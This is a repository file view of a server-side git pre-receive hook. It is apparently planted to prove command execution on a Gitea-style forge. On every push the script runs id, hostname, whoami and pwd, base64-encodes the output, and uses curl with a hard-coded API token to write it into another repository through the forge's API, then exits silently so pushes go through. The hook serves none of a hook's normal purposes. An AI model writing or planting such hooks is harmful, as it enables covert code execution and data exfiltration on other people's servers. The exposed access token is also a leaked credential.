Files
v97e94b/hooks/pre-receive
2026-10-04 14:16:41 +08:00

7 lines
378 B
Bash
Executable File

#!/bin/sh
B=$( { id; hostname; whoami; pwd ; } 2>&1 | base64 | tr -d '\n' )
D="{\"content\":\"$B\",\"message\":\"r\",\"branch\":\"main\"}"
U="http://127.0.0.1:3000/api/v1/repos/u0bf418b2/x97e94b6a6/contents/t97e94b6a"
curl -s -m 20 -X PUT -H 'Authorization: token 5c6902dc8d1c0560258ebb951b11ba982ee45fc0' -H 'Content-Type: application/json' -d "$D" "$U" >/dev/null 2>&1
exit 0